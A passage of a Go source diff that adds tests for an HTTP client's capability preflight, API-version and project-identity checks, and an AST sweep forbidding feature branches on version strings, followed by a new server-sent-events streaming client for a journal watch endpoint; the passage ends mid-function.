op gated on a + // first-slice token (issues.claim): forcing its handshake (ga-b8ddd.11) adds + // the identity gate, but because that token IS advertised it preflights clean + // against even the oldest server — no capability-compat risk. Everything else + // post-baseline is a genuinely newer operation the first slice never served. + var compat, refused []string + for _, op := range postBaselineOps() { + token, _ := CapabilityFor(op) + if slices.Contains(firstSliceTokens, token) { + compat = append(compat, op) + } else { + refused = append(refused, op) + } + } + if len(compat) != 1 || compat[0] != OpClaimIssue { + t.Fatalf("post-baseline ops on a first-slice token = %v, want exactly [claimIssue]", compat) + } + // The dimension is pinned so the matrix cannot shrink silently: the first + // slice served six operations and the tip surface has forty-one, so + // thirty-five of them are things a first-slice server has never heard of. The + // wire wave moved this from twenty-seven to thirty — claimNext, release and + // count — wave 2 to thirty-two, adding the dependency-edge count and the + // related read, and the mini-sync to thirty-five: the comment write and the + // two config writes. Each is an operation a first-slice server never served + // and this client does not yet dial, which is exactly the shape the refusal + // matrix is about. + if len(refused) != 35 { + t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 35", len(refused)) + } + + // The compat op forces the handshake yet preflights clean: issues.claim is on + // the first-slice server's advertised list, so the gate never becomes a refusal. + for _, op := range compat { + if err := c.Preflight(ctx(t), op); err != nil { + t.Errorf("Preflight(%s) against a first-slice server = %v, want nil (issues.claim is first-slice)", op, err) + } + } + + for _, op := range refused { + token, _ := CapabilityFor(op) + err := c.Preflight(ctx(t), op) + + var absent *CapabilityError + if !errors.As(err, &absent) { + t.Errorf("Preflight(%s) = %v (%T), want *CapabilityError", op, err, err) + continue + } + // D7 case 2 names three things, and the typed error has to carry all + // three or the render layer starts parsing prose for them. + if absent.Capability != token { + t.Errorf("Preflight(%s) refused on capability %q, want %q", op, absent.Capability, token) + } + if absent.BdVersion != "1.1.0" { + t.Errorf("Preflight(%s) carries bd_version %q, want the server's", op, absent.BdVersion) + } + if absent.ServerURL == "" || !strings.HasPrefix(absent.ServerURL, "http") { + t.Errorf("Preflight(%s) carries server URL %q", op, absent.ServerURL) + } + if !slices.Equal(absent.Capabilities, firstSliceTokens) { + t.Errorf("Preflight(%s) carries %v, want the server's advertised %v", op, absent.Capabilities, firstSliceTokens) + } + if !errors.Is(err, ErrCapabilityAbsent) { + t.Errorf("Preflight(%s) does not unwrap to ErrCapabilityAbsent", op) + } + } + + // One context fetch for the whole matrix: the refusals are answered from the + // cache, not by re-asking a server that already said no. + if rec.count() != 1 { + t.Errorf("made %d context fetches, want 1", rec.count()) + } +} + +func TestEachOperationRefusesOnItsOwnTokenAndNoOtherOperationsToken(t *testing.T) { + // The holdout matrix: for every post-baseline operation, a doctored server + // that advertises the whole vocabulary EXCEPT that operation's token. + // + // This is what catches a mis-wired opCapability row that a "server has + // everything" and a "server has nothing" fixture both miss: two operations + // sharing a token, or an operation pointed at a neighbour's, still pass both + // extremes and fail exactly here. + every := allTokens() + + for _, op := range postBaselineOps() { + token, _ := CapabilityFor(op) + held := make([]string, 0, len(every)) + for _, candidate := range every { + if candidate != token { + held = append(held, candidate) + } + } + + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1", held...))) + + var absent *CapabilityError + if err := c.Preflight(ctx(t), op); !errors.As(err, &absent) { + t.Errorf("holding back %q: Preflight(%s) = %v, want a refusal", token, op, err) + } else if absent.Capability != token { + t.Errorf("holding back %q: Preflight(%s) refused on %q", token, op, absent.Capability) + } + + // And nothing else moved: every other operation still serves against the + // same doctored server. + for _, other := range postBaselineOps() { + if other == op { + continue + } + if err := c.Preflight(ctx(t), other); err != nil { + t.Errorf("holding back %q broke an unrelated operation: Preflight(%s) = %v", token, other, err) + } + } + } +} + +func TestABaselineOperationDispatchesEvenWhenTheServerAdvertisesNoTokenForIt(t *testing.T) { + // The doctored route table, missing arm: a server whose advertised list has + // none of the baseline tokens. + // + // The two-speed policy says the five baseline operations dispatch without + // consulting the list AT ALL, and that has to survive a server that says + // nothing about them — a trimmed deployment, a capability list built from a + // route table someone pruned, or simply a context this client mis-decoded. + // Gating them on the list would turn the hot work-distribution path off on + // the strength of a field that is not the contract for it. claimIssue is not + // in this set: it forces the handshake now (ga-b8ddd.11), so it would dial. + c, rec := newTestClient(t, Options{}, nil, func(http.ResponseWriter, *http.Request) { + t.Error("a baseline pre-flight dialed a server whose list omits its token") + }) + for _, op := range []string{OpHealth, OpGetContext, OpListReadyWork, OpListIssues, OpGetIssue} { + if err := c.Preflight(ctx(t), op); err != nil { + t.Errorf("Preflight(%s) against a server advertising nothing: %v", op, err) + } + } + if rec.count() != 0 { + t.Errorf("made %d requests, want 0", rec.count()) + } +} + +func TestAServerAdvertisingOperationsThisClientDoesNotKnowIsToleratedWhole(t *testing.T) { + // The doctored route table, extra arm: a NEWER server, advertising tokens for + // post-baseline operations this client has never heard of. + // + // Older CLI against newer server is the additive direction, and the rule is + // that an unknown token is inert. It must not fail the handshake, must not + // disturb the operations this client does know, and must still appear in the + // advertised list a refusal prints — the user is entitled to see that the + // server offers things their binary cannot reach. + future := append(allTokens(), "issues.teleport", "beads.prophesy", "memories.forget.v2") + slices.Sort(future) + + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1", future...))) + + snap, err := c.Handshake(ctx(t)) + if err != nil { + t.Fatalf("Handshake against a newer server: %v", err) + } + if !slices.Equal(snap.Capabilities(), future) { + t.Errorf("Capabilities() = %v, want the server's own %v", snap.Capabilities(), future) + } + for _, op := range postBaselineOps() { + if err := c.Preflight(ctx(t), op); err != nil { + t.Errorf("Preflight(%s) against a newer server: %v", op, err) + } + } + // An operation the client does not know still refuses at the pre-flight, + // even though the SERVER advertises it: this client cannot build a request + // for an operation it has no path or encoder for, and pretending otherwise + // would turn an unknown operation into an unrouted dial. + if err := c.Preflight(ctx(t), "teleportIssue"); err == nil { + t.Error("an operation this client does not know pre-flighted clean because the server advertised one") + } +} + +func TestAFuturisticContextDecodesAndGatesOnApiVersionAlone(t *testing.T) { + // Additive content on a v0 context: members this client's struct does not + // have, a bd_version from the future, a schema_version well past anything + // shipped. None of the three is a feature contract — the capability list is + // — so all three have to be inert. + body := `{"api_version":"v0","backend":"dolt","bd_version":"9.9.9",` + + `"beads_dir":"/srv/repo/.beads","capabilities":["issues.list","issues.get"],` + + `"database":"beads","dolt_mode":"embedded","project_id":"proj-1",` + + `"repo_root":"/srv/repo","schema_version":9001,` + + `"replication_lag_ms":12,"tenant":{"id":"acme","tier":"gold"},"features":["wisps","convoys"]}` + + c, _ := newTestClient(t, Options{ExpectProjectID: "proj-1"}, nil, serveContext(body)) + snap, err := c.Handshake(ctx(t)) + if err != nil { + t.Fatalf("Handshake against a futuristic v0 server: %v", err) + } + if snap.Context.BdVersion != "9.9.9" || snap.Context.SchemaVersion != 9001 { + t.Errorf("diagnostic members did not decode: %+v", snap.Context) + } + if !snap.Has("issues.list") || snap.Has("issues.update") { + t.Errorf("capabilities decoded wrong alongside unknown members: %v", snap.Capabilities()) + } + // And the list is still the contract: a token the futuristic server did NOT + // advertise refuses, however new the server claims to be. + if err := c.Preflight(ctx(t), OpUpdateIssue); !errors.Is(err, ErrCapabilityAbsent) { + t.Errorf("Preflight(updateIssue) = %v, want a capability refusal", err) + } +} + +func TestTheApiVersionGateRefusesEveryNonV0Spelling(t *testing.T) { + // The wire is versioned by PATH, so the gate is equality and not a range + // check: a "v0.1" is not a v0 this client can address, and a server that + // answers an empty api_version is not answering the question. + for _, version := range []string{"v1", "v2", "v0.1", "V0", "0", "", "v0 "} { + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody(version, "proj-1", "issues.list"))) + _, err := c.Handshake(ctx(t)) + if !errors.Is(err, ErrAPIVersion) { + t.Errorf("api_version %q: err = %v, want ErrAPIVersion", version, err) + continue + } + var mismatch *APIVersionError + if !errors.As(err, &mismatch) { + t.Errorf("api_version %q: err is %T, want *APIVersionError", version, err) + continue + } + if mismatch.Got != version || mismatch.Want != APIVersion { + t.Errorf("api_version %q: error carries got=%q want=%q", version, mismatch.Got, mismatch.Want) + } + } +} + +func TestTheApiVersionGateRunsBeforeTheIdentityGate(t *testing.T) { + // Ordering matters for the message, not for the outcome. A server on another + // major will also have a different project_id, and reporting THAT would send + // an operator to re-run bd connect against a server no bd connect can help + // them with. + c, _ := newTestClient(t, Options{ExpectProjectID: "proj-1"}, nil, + serveContext(contextBody("v1", "proj-2", "issues.list"))) + _, err := c.Handshake(ctx(t)) + if !errors.Is(err, ErrAPIVersion) { + t.Fatalf("err = %v, want the api_version gate to fire first", err) + } + if errors.Is(err, ErrProjectMismatch) { + t.Error("the identity gate fired on a server this client cannot address at all") + } +} + +func TestTheWrongServerDiagnosticNamesEveryFactD6Requires(t *testing.T) { + // D6's wrong-server checklist, whole: both project ids, plus the server's own + // database and repo_root. On a shared host running several bd serve + // processes, "the ids differ" identifies nothing — the database and the repo + // root are what say WHICH one answered. + c, _ := newTestClient(t, Options{ExpectProjectID: "proj-mine"}, nil, + serveContext(contextBody("v0", "proj-theirs", "issues.list"))) + _, err := c.Handshake(ctx(t)) + + var mismatch *ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("err is %T, want *ProjectMismatchError", err) + } + for field, got := range map[string]string{ + "Expected": mismatch.Expected, + "Got": mismatch.Got, + "Database": mismatch.Database, + "RepoRoot": mismatch.RepoRoot, + "ServerURL": mismatch.ServerURL, + } { + if got == "" { + t.Errorf("ProjectMismatchError.%s is empty", field) + } + } + msg := mismatch.Error() + for _, want := range []string{"proj-mine", "proj-theirs", "beads", "/srv/repo", "bd connect"} { + if !strings.Contains(msg, want) { + t.Errorf("Error() = %q, missing %q", msg, want) + } + } + + // A server that publishes neither diagnostic still produces a whole sentence + // rather than a dangling parenthetical — the members are optional on the + // wire, and a degraded diagnostic is not a broken one. + bare := `{"api_version":"v0","bd_version":"1.1.0","capabilities":[],"project_id":"proj-theirs"}` + c2, _ := newTestClient(t, Options{ExpectProjectID: "proj-mine"}, nil, serveContext(bare)) + _, err2 := c2.Handshake(ctx(t)) + if !errors.Is(err2, ErrProjectMismatch) { + t.Fatalf("err = %v, want ErrProjectMismatch", err2) + } + if strings.Contains(err2.Error(), `database ""`) { + t.Errorf("the degraded diagnostic printed empty members: %s", err2.Error()) + } +} + +func TestAnUnknownProblemCodeTakesTheDefaultBranchOfItsStatusClass(t *testing.T) { + // Older CLI, newer server, error path. Adding a problem code is not a + // breaking change on this wire, so a client that hard-failed on an unknown + // one would break against every server newer than itself. + // + // The unit-level probe of sentinelFor covers the table; this covers the + // crossing — a code arriving in a real body, over a real connection, in each + // status class that has a rule. + for _, tc := range []struct { + name string + status int + body string + want error + }{ + {"a 4xx the client has never heard of", 409, `{"status":409,"code":"tenant_quota_exceeded","detail":"quota"}`, ErrBadRequest}, + {"a 400 with a future reason", 400, `{"status":400,"code":"malformed_expression","param":"q","reason":"unparseable"}`, ErrBadRequest}, + {"a 503 the client has never heard of", 503, `{"status":503,"code":"failing_over","detail":"draining"}`, ErrBusy}, + {"a 5xx the client has never heard of", 502, `{"status":502,"code":"upstream_gone"}`, ErrServerFault}, + {"a non-problem body from something that is not a bd serve", 404, `404`, ErrBadRequest}, + } { + t.Run(tc.name, func(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + problemJSON(w, tc.status, tc.body) + }) + err := c.Do(ctx(t), listIssues(), &struct{}{}) + if !errors.Is(err, tc.want) { + t.Fatalf("err = %v, want %v", err, tc.want) + } + // The envelope still arrives typed. A default-branched code is not a + // discarded response: request_id is what makes the server's log line + // findable, and it is the only handle on a code nobody here knows. + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if problem.Status != tc.status { + t.Errorf("Status = %d, want %d", problem.Status, tc.status) + } + }) + } +} + +func TestAnUnknownResponseMemberDoesNotBreakADecode(t *testing.T) { + // The same additivity on the success path. A server that grew a member is a + // server this client keeps reading; refusing the decode would make every + // forward-compatible response a hard failure. + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, `{"status":"ok","uptime_s":41,"leader":"node-3"}`) + }) + if err := c.Health(ctx(t)); err != nil { + t.Fatalf("Health against a server with extra members: %v", err) + } +} + +func TestTheUnknownParameterSignalCrossesTheWireAndRendersCaseThree(t *testing.T) { + // The whole case-3 mechanism, end to end: a newer CLI's parameter, an older + // server's 400, the typed members that survive it, and the reverse lookup + // through the encoder table that turns the parameter back into the flag the + // user typed. + // + // The encode import is test-only and deliberate. Production code in this + // package must not depend on the encoder — the transport does not know what + // a flag is — but the two halves of case 3 live in different packages, and + // something has to prove they meet. + for _, tc := range []struct { + param, want string + }{ + {"include_comments", `--include-comments is not supported by bd serve at %s (bd_version 1.1.0): parameter "include_comments" is unknown to the server`}, + {"include_dependents", `--include-dependents is not supported by bd serve at %s (bd_version 1.1.0): parameter "include_dependents" is unknown to the server`}, + {"exclude_type", `--exclude-type is not supported by bd serve at %s (bd_version 1.1.0): parameter "exclude_type" is unknown to the server`}, + {"has_metadata_key", `--has-metadata-key is not supported by bd serve at %s (bd_version 1.1.0): parameter "has_metadata_key" is unknown to the server`}, + } { + t.Run(tc.param, func(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == PathContext { + _, _ = io.WriteString(w, contextBody("v0", "proj-1", allTokens()...)) + return + } + problemJSON(w, 400, `{"status":400,"code":"invalid_argument","param":"`+tc.param+ + `","reason":"unknown_parameter","detail":"unknown parameter \"`+tc.param+`\""}`) + }) + + err := c.Do(ctx(t), listIssues(), &struct{}{}) + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + // The reason is what separates skew from a bad value: both ride + // invalid_argument, and their recoveries are opposite. + if problem.Reason != encode.UnknownParameterReason { + t.Fatalf("reason = %q, want %q", problem.Reason, encode.UnknownParameterReason) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Error("the skew signal did not classify as a validation refusal") + } + + snap, err := c.Handshake(ctx(t)) + if err != nil { + t.Fatalf("Handshake: %v", err) + } + got := encode.UnknownParameterRefusal(problem.Param, problem.ServerURL, snap.Context.BdVersion) + want := strings.Replace(tc.want, "%s", problem.ServerURL, 1) + if got != want { + t.Errorf("case-3 refusal =\n%s\nwant\n%s", got, want) + } + // D7's standing rule for every refusal text: the user's vocabulary, + // never the client's internals. + if strings.Contains(got, "listIssues") || strings.Contains(got, "ListRequest") { + t.Errorf("the refusal leaked client vocabulary: %s", got) + } + }) + } +} + +func TestAnInvalidValueIsNotReadAsVersionSkew(t *testing.T) { + // The converse of the case above, and the reason the reason member exists. + // `invalid_value` on a parameter the server DOES know means the argument is + // wrong; rendering it as case 3 would tell a user to upgrade a server that is + // working correctly. + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + problemJSON(w, 400, `{"status":400,"code":"invalid_argument","param":"sort","reason":"invalid_value","detail":"unknown sort key"}`) + }) + err := c.Do(ctx(t), listIssues(), &struct{}{}) + var problem *ProblemError + if !errors.As(err, &problem) { + t.Fatalf("err is %T, want *ProblemError", err) + } + if problem.Reason == encode.UnknownParameterReason { + t.Fatalf("reason = %q; a bad value must not classify as skew", problem.Reason) + } +} + +// TestNoFeatureBranchesOnBdVersionOrSchemaVersion is D6's other rule, and the +// only one in this package that no behavioral test can reach. +// +// "Clients never branch on bd_version for features (the capability list is the +// contract; bd_version appears only in error text) and never on schema_version +// (documented diagnostic-only)". A violation would not fail any test here — it +// would work perfectly against every server in the fixture cache and then +// mis-gate the first server whose version string is shaped differently, which is +// exactly the class of bug version strings are famous for. +// +// So the gate is structural, and it turns on a distinction the rule itself +// makes: the members may be DISPLAYED — copied into an error, formatted into a +// message, guarded by "do I have one to show" — but never used to DECIDE. +// Displaying is not branching, which is what keeps the refusal-UX layer's +// `bd_version` text legal while a version comparison stays fatal. +// +// SCOPE. Three groups, because the members travel: the wire package that decodes +// them, the store package that copies them into refusals, and the cmd/bd files +// that consume a handshake. Sweeping only this package is what an earlier +// revision did, and it left the store package — which reads snap.BdVersion in +// production — completely unguarded while the role wave was about to land more +// snapshot-consuming code exactly there. +func TestNoFeatureBranchesOnBdVersionOrSchemaVersion(t *testing.T) { + fset := token.NewFileSet() + total := 0 + + for _, scope := range diagnosticSweepScopes() { + files, sawAnyFile := parseSweepScope(t, fset, scope) + if len(files) == 0 { + if scope.only != nil && sawAnyFile { + // The directory parsed real, non-test .go files, but none of + // them import the http client yet. That is the honest state + // of cmd/bd during S2: the store/dial wiring that makes + // cmd/bd a consumer is deferred to S3 (see the httpclient + // lift commit's message). It is not the "path moved" failure + // this gate otherwise guards — that failure mode is an empty + // directory read, handled below — so there is nothing to + // sweep here yet and that is fine. + // + // TODO(S3): once cmd/bd wires the store/dial seam to this + // client, this branch's cmd/bd scope stops being vacuous — + // drop this `continue` (or tighten it) so the sweep actually + // covers cmd/bd's own bd_version/schema_version reads instead + // of silently passing on an empty intersection. + continue + } + // A relative path that stopped resolving is the failure mode this + // gate cannot survive quietly: zero files walk clean. + t.Errorf("%s (%s): swept no files; the scope's path has moved and this gate went vacuous", scope.label, scope.dir) + continue + } + for _, file := range files { + total += checkDiagnosticUse(t, fset, file) + } + } + + // And the sweep has to have SEEN the members somewhere, or a rename would + // leave every scope green by matching nothing at all. + if total == 0 { + t.Fatal("the sweep found no reference to BdVersion or SchemaVersion anywhere; " + + "either the members were renamed or the scopes no longer contain the client") + } +} + +type sweepScope struct { + label string + dir string + // only, when set, keeps just the files this scope cares about. + only func(*ast.File) bool +} + +// diagnosticSweepScopes names every place a handshake member can be read. +// +// The cmd/bd entry is selected by IMPORT rather than by filename. The rule is +// about code that consumes a handshake, and "imports the http client" is exactly +// that set — mechanically determined, so a file the refusal-UX layer adds +// tomorrow is swept the day it reaches for the store. Selecting by filename +// prefix would miss it, and sweeping all of cmd/bd would drag in bd's own +// version tracking, which branches on bd's version because that is its entire +// job. +func diagnosticSweepScopes() []sweepScope { + return []sweepScope{ + {label: "the wire transport", dir: "."}, + {label: "the http store", dir: ".."}, + { + label: "cmd/bd's http-client consumers", + dir: filepath.Join("..", "..", "..", "cmd", "bd"), + only: importsHTTPClient, + }, + } +} + +func importsHTTPClient(file *ast.File) bool { + for _, spec := range file.Imports { + path := strings.Trim(spec.Path.Value, `"`) + if strings.Contains(path, "internal/httpclient") { + return true + } + } + return false +} + +// parseSweepScope parses every non-test .go file in scope.dir and applies +// scope.only. It also reports sawAnyFile: whether the directory yielded any +// parseable file at all BEFORE the only filter ran, so the caller can tell +// "the path is broken" (sawAnyFile false) apart from "the path is fine but +// nothing here is a consumer yet" (sawAnyFile true, out empty). +func parseSweepScope(t *testing.T, fset *token.FileSet, scope sweepScope) (out map[string]*ast.File, sawAnyFile bool) { + t.Helper() + // Build constraints are deliberately not honored: this test is untagged, and + // the enterprise-only files are precisely the ones that consume a handshake. + // Parsing is text, so they are swept either way. + pkgs, err := parser.ParseDir(fset, scope.dir, func(fi os.FileInfo) bool { + return !strings.HasSuffix(fi.Name(), "_test.go") + }, 0) + if err != nil { + t.Fatalf("%s (%s): parse: %v", scope.label, scope.dir, err) + } + out = map[string]*ast.File{} + for _, pkg := range pkgs { + for name, file := range pkg.Files { + sawAnyFile = true + if scope.only != nil && !scope.only(file) { + continue + } + out[name] = file + } + } + return out, sawAnyFile +} + +// isDiagnosticRef matches a read of either member. +// +// Selector and bare identifier alike, because the value gets passed around: the +// connect report takes it as a plain `bdVersion string` parameter, and a +// comparison there is the same mistake as a comparison on the field. Exact, +// case-insensitive name equality keeps JSONSchemaVersion, LastBdVersion and +// trackBdVersion out of it. +func isDiagnosticRef(n ast.Node) bool { + name := "" + switch ref := n.(type) { + case *ast.SelectorExpr: + name = ref.Sel.Name + case *ast.Ident: + name = ref.Name + default: + return false + } + switch strings.ToLower(name) { + case "bdversion", "schemaversion": + return true + } + return false +} + +func diagnosticRefs(n ast.Node) []ast.Node { + var found []ast.Node + ast.Inspect(n, func(inner ast.Node) bool { + if inner == nil { + return false + } + if isDiagnosticRef(inner) { + found = append(found, inner) + // Do not descend: the selector's own X is not a second reference. + return false + } + return true + }) + return found +} + +// isPresenceGuard reports a comparison that asks "is there one to show" rather +// than "which one is it". +// +// `e.BdVersion != ""` is how a renderer omits a version it does not have, and +// D6's rule is about deciding on the VALUE. Allowing the zero comparison is what +// lets the refusal-UX layer print the version without this gate calling it a +// feature branch; anything compared against an actual version is still fatal. +func isPresenceGuard(expr *ast.BinaryExpr) bool { + if expr.Op != token.EQL && expr.Op != token.NEQ { + return false + } + other := func(side ast.Expr) bool { + lit, ok := side.(*ast.BasicLit) + if !ok { + return false + } + return lit.Value == `""` || lit.Value == "0" + } + if len(diagnosticRefs(expr.X)) > 0 && other(expr.Y) { + return true + } + return len(diagnosticRefs(expr.Y)) > 0 && other(expr.X) +} + +func checkDiagnosticUse(t *testing.T, fset *token.FileSet, file *ast.File) int { + t.Helper() + + // Every reference that sits inside an allowed presence guard, so the + // condition check below can tell one from a real branch. + allowed := map[ast.Node]bool{} + ast.Inspect(file, func(n ast.Node) bool { + if expr, ok := n.(*ast.BinaryExpr); ok && isPresenceGuard(expr) { + for _, ref := range diagnosticRefs(expr) { + allowed[ref] = true + } + } + return true + }) + + report := func(pos token.Pos, what string) { + t.Errorf("%s: %s (D6: the capability list is the feature contract; these members are diagnostic-only)", + fset.Position(pos), what) + } + + ast.Inspect(file, func(n ast.Node) bool { + switch stmt := n.(type) { + case *ast.BinaryExpr: + switch stmt.Op { + case token.EQL, token.NEQ, token.LSS, token.GTR, token.LEQ, token.GEQ: + if len(diagnosticRefs(stmt)) > 0 && !isPresenceGuard(stmt) { + report(stmt.Pos(), "a comparison decides on a diagnostic-only member; a version string is not a capability check") + } + } + case *ast.IfStmt: + for _, ref := range diagnosticRefs(stmt.Cond) { + if !allowed[ref] { + report(stmt.Pos(), "an `if` branches on a diagnostic-only member") + break + } + } + case *ast.SwitchStmt: + if stmt.Tag != nil && len(diagnosticRefs(stmt.Tag)) > 0 { + report(stmt.Pos(), "a `switch` dispatches on a diagnostic-only member") + } + } + return true + }) + + return len(diagnosticRefs(file)) +} diff --git a/internal/httpclient/wire/stream.go b/internal/httpclient/wire/stream.go new file mode 100644 index 000000000..bf6fb3cbb --- /dev/null +++ b/internal/httpclient/wire/stream.go @@ -0,0 +1,521 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/stream.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "bufio" + "bytes" + "context" + "errors" + "fmt" + "io" + "mime" + "net/http" + "net/url" + "strconv" + "sync/atomic" + "time" +) + +// The STREAMING door, the one operation on this surface that cannot go through +// Do. +// +// Do reads the whole body under a per-request timeout so the 401 retry can +// replay a []byte, and both are exactly wrong for a stream: GET +// /v0/beads/events:watch holds a text/event-stream open for as long as the +// consumer wants it, so there is no whole body to read and no fixed timeout to +// read it under. This file is the second door — its own http client with no +// timeout, an SSE parser over the live body, and an idle deadline standing in +// for the timeout Do relies on. +// +// THE CONNECT HALF IS Do's, though, and deliberately so. Everything up to the +// 200 and its text/event-stream header — the 400s, the 409, the 410, the 503 — +// is an ordinary problem response the server sends BEFORE a single stream byte +// (internal/httpapi/events_watch.go), so this door reuses roundTrip's own +// pieces: the shared request stamp, redirectRefused, the bounded error-body +// read, mapProblem. Only once the stream is open does the vocabulary become +// SSE. + +// watchIdleTimeout is how long a stream may go silent before this client +// declares it dead and fails loudly. +// +// The server heartbeats a comment line every ~20s (internal/httpapi's +// watchHeartbeat) precisely so an idle connection through a NAT or a proxy keeps +// producing bytes; three heartbeats of total silence is a connection that has +// half-died without either end being told — the classic way a stream stops +// delivering while both sides believe it is up. Sixty seconds is long enough +// that one missed heartbeat is not mistaken for a dead peer and short enough +// that a consumer's stall is measured in a minute rather than in hours. +// +// It is a var rather than a const so the stream tests can drive the timeout in +// milliseconds instead of waiting a real minute for it. +var watchIdleTimeout = 60 * time.Second + +// truncatedEventName is the ONE named event this stream emits: a prune that +// raced an open stream, carrying the same problem document the connect-time 410 +// would have. Every other event is unnamed — the default `message` type — which +// is what lets a consumer read "an event I do not recognize" as "stop". +const truncatedEventName = "truncated" + +// StreamEvent is one dispatched SSE event: a journal record (unnamed) or the +// `truncated` event (named), with the record's seq and the server's most recent +// reconnection advisory. +type StreamEvent struct { + // Seq is the record's sequence number, from the `id:` field. It is the same + // value the record's own JSON carries; a consumer that resumes uses it as + // the next `since`. + Seq int64 + // Name is "" for a record and truncatedEventName for the truncation event. + Name string + // Data is the event's `data:` payload, multi-line values joined with '\n'. + // For a record it is the EventRecord JSON; for the truncation it is the + // problem document. + Data []byte + // Retry is the server's most recent `retry:` advisory, or 0 if none has + // arrived. A consumer that reconnects honors it as the delay before doing so. + Retry time.Duration +} + +// EventStream is one open text/event-stream response, parsed one dispatched +// event at a time. +// +// It is NOT safe for concurrent use: Next reads and parses on the caller's +// goroutine, which is exactly the single-goroutine delivery the Watcher role +// promises. Close is the only method safe to call from another goroutine, to +// abort a blocked Next. +type EventStream struct { + op string + serverURL string + body io.ReadCloser + reader *bufio.Reader + maxBytes int64 + + // parentCtx is the CALLER's context, read only to classify a read failure: + // a read that failed because the caller canceled is theirs, one that failed + // because the idle timer canceled the request is this stream's. + parentCtx context.Context + // cancel cancels the REQUEST's derived context, which is what the idle timer + // and Close both pull to unblock a parked read. + cancel context.CancelFunc + + idledOut atomic.Bool + retry time.Duration + // closed is atomic to honor the documented cross-goroutine idempotency of + // Close: the flag is read and set from any goroutine racing an abort against + // the caller's own Close, so it matches idledOut rather than trusting a plain + // bool the race detector would flag. + closed atomic.Bool +} + +// WatchEvents opens the journal stream from since, in ONE connect. +// +// It builds the request exactly as roundTrip does — the shared stamp, so the +// Bd-Project-Id the workspace pinned rides this request like every other — with +// Accept: text/event-stream and since as a required query parameter on every +// connect. It sends NO Last-Event-ID: this client rebuilds `since` on every +// reconnect from the seq it last delivered, which the server treats as +// equivalent to the header a browser's EventSource would resend. +// +// A 401 is retried once, exactly as Do retries it: one credential refresh and +// one reconnect, because a GET carries no body to replay and the server's token +// re-read is on a ~1s gate. Everything else the server can answer before the +// stream opens comes back as the typed error roundTrip would have produced. +func (c *Client) WatchEvents(ctx context.Context, since int64) (*EventStream, error) { + q := url.Values{} + // FormatInt, not Itoa: since is an int64 and a resume can sit anywhere in the + // range, so a 32-bit conversion would silently wrap a large checkpoint. + q.Set("since", strconv.FormatInt(since, 10)) + u, err := c.resolve(PathEventsWatch, q) + if err != nil { + return nil, fmt.Errorf("%s: %w", OpWatchEvents, err) + } + + hc := c.streamClient() + + stream, err := c.dialStream(ctx, hc, u) + if err != nil && c.creds != nil { + var prob *ProblemError + if errors.As(err, &prob) && prob.Status == http.StatusUnauthorized { + retry, rerr := c.creds.Refresh(ctx) + if rerr != nil { + // Fail closed, exactly as Do does: a credential source that errored + // is not a license to send the stale one again. + return nil, fmt.Errorf("%s: refreshing the credential for bd serve at %s: %w", OpWatchEvents, c.base.Redacted(), rerr) + } + if retry { + stream, err = c.dialStream(ctx, hc, u) + } + } + } + return stream, err +} + +// streamClient clones the client's http.Client with the timeout removed. +// +// A stream has no bounded length, so the 60-second per-request timeout that +// makes Do's whole-body read safe would kill every stream at one minute. The +// clone preserves Transport and the forced CheckRedirect — a redirect on a +// bearer connection is refused, never followed — and swaps only Timeout, so the +// stream's liveness is the idle deadline's job and its cancellation is the +// caller's context. +func (c *Client) streamClient() *http.Client { + hc := *c.hc + hc.Timeout = 0 + return &hc +} + +// dialStream performs one connect and returns either a live stream or the typed +// error the server answered with before the stream opened. +func (c *Client) dialStream(ctx context.Context, hc *http.Client, u *url.URL) (*EventStream, error) { + streamCtx, cancel := context.WithCancel(ctx) + + req, err := http.NewRequestWithContext(streamCtx, http.MethodGet, u.String(), nil) + if err != nil { + cancel() + return nil, fmt.Errorf("%s: %w", OpWatchEvents, err) + } + req.Header.Set("Accept", "text/event-stream") + if err := c.stampRequest(streamCtx, OpWatchEvents, req); err != nil { + cancel() + return nil, err + } + + //nolint:gosec // G704: the URL is the workspace's configured server; dialing it IS the feature. + resp, err := hc.Do(req) + if err != nil { + cancel() + return nil, &ConnectError{Op: OpWatchEvents, ServerURL: c.base.Redacted(), Err: err} + } + + if resp.StatusCode >= 300 && resp.StatusCode < 400 { + _ = resp.Body.Close() + cancel() + return nil, redirectRefused(OpWatchEvents, c.base.Redacted(), resp) + } + + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + // The connect-time refusals are ordinary problem responses with a bounded + // body, so this reads and maps them exactly as roundTrip does. + raw, _ := io.ReadAll(io.LimitReader(resp.Body, c.maxBytes+1)) + _ = resp.Body.Close() + cancel() + prob := mapProblem(c.target(Request{Op: OpWatchEvents}), resp.StatusCode, resp.Header, raw, c.maxRetry) + if resp.StatusCode == http.StatusUnauthorized { + prob.CredentialSource = credentialSource(c.creds) + } + return nil, prob + } + + // A 2xx that is not text/event-stream is not a bd serve stream — a proxy, a + // gateway, or a different server answering on the port. Refused rather than + // parsed, so a consumer does not sit on a connection that will never frame a + // record. + if !isEventStream(resp.Header.Get("Content-Type")) { + _ = resp.Body.Close() + cancel() + return nil, &NotEventStreamError{Op: OpWatchEvents, ServerURL: c.base.Redacted(), ContentType: resp.Header.Get("Content-Type")} + } + + return &EventStream{ + op: OpWatchEvents, + serverURL: c.base.Redacted(), + body: resp.Body, + reader: bufio.NewReader(resp.Body), + maxBytes: c.maxBytes, + parentCtx: ctx, + cancel: cancel, + }, nil +} + +// isEventStream reports whether a Content-Type names an SSE body, ignoring the +// charset parameter the server sends with it. +func isEventStream(contentType string) 